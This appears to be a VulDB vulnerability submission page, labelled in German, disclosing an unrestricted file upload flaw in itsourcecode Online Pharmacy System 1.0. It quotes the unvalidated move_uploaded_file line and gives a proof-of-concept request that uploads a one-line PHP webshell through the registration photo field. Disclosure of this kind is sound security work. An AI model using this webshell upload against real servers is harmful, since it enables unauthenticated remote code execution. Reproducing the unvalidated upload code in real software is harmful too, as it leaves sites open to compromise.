| Titel | itsourcecode Online Pharmacy System 1.0 Unrestricted Upload |
|---|
| Beschreibung | Description:
The user registration endpoint in `all_users/register.php` handles file uploads with zero validation. No extension check, no MIME type verification. Uploaded files retain original extension and are stored in a web-accessible directory, enabling PHP webshell execution.
Vulnerable Code:
**File**: `all_users/register.php`, Line 169
```php
// No extension validation, no MIME type check
move_uploaded_file($_FILES['photo']['tmp_name'], 'uploads/' . $_FILES['photo']['name']);
```
Proof of Concept:
Upload `shell.php` via registration photo field:
```http
POST /all_users/register.php HTTP/1.1
Content-Type: multipart/form-data
Content-Disposition: form-data; name="photo"; filename="shell.php"
<?php system($_GET['cmd']); ?>
```
Impact:
- Unauthenticated Remote Code Execution
- Complete server compromise
- Registration endpoint is public-facing
Reference: https://github.com/microwaveabi/vul/issues/47 |
|---|
| Quelle | ⚠️ https://github.com/microwaveabi/vul/issues/47 |
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| Benutzer | microwave (UID 96185) |
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| Einreichung | 11.07.2026 05:17 (vor 2 Monaten) |
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| Moderieren | 24.08.2026 07:28 (1 month later) |
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| Status | Akzeptiert |
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| VulDB Eintrag | 394595 [itsourcecode Online Pharmacy System 1.0 User Registration all_users/register.php move_uploaded_file photo erweiterte Rechte] |
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| Punkte | 20 |
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